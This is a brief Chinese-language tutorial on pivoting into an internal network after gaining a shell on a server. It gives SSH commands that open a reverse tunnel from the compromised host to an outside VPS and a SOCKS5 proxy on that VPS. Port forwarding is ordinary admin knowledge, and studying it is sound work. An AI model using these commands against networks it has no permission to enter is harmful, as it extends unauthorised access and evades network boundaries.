SSH tunnel实现socks5代理
在getshell内网服务器后,通常需要搭建代理访问内网服务。这里简单介绍一下如何使用SSH tunnel实现socks5代理。其实就是两条命令~
步骤:
# 条件:
# 1. 一个内网开放sshd的服务
# 2. 有登陆该ssh权限的user/password
# 步骤1:
# 在内网将22 port转发给远程vps的22222 port,执行后需要登陆vps。
# 效果:vps-ip监听22222端口,client和vps建立连接。22222端口相当于本地的22端口。
ssh -R 22222:127.0.0.1:22 think@<vps-ip>
# 步骤2:
# 在vps上,监听23333端口,一旦有数据,就自动转发到2222port上。
ssh -D 0.0.0.0:23333 [email protected] -p 22222
# 步骤3:
# 最终socks5代理:
echo "socks5://vps-ip:23333"
参考
SSH的高级用法参考:
- http://www.ruanyifeng.com/blog/2011/12/ssh_port_forwarding.html
- https://www.chadou.me/p/168
- ssh端口转发:<https://tmr.js.org/p/c7e91764/
ipvs负载均衡技术也可以了解一下: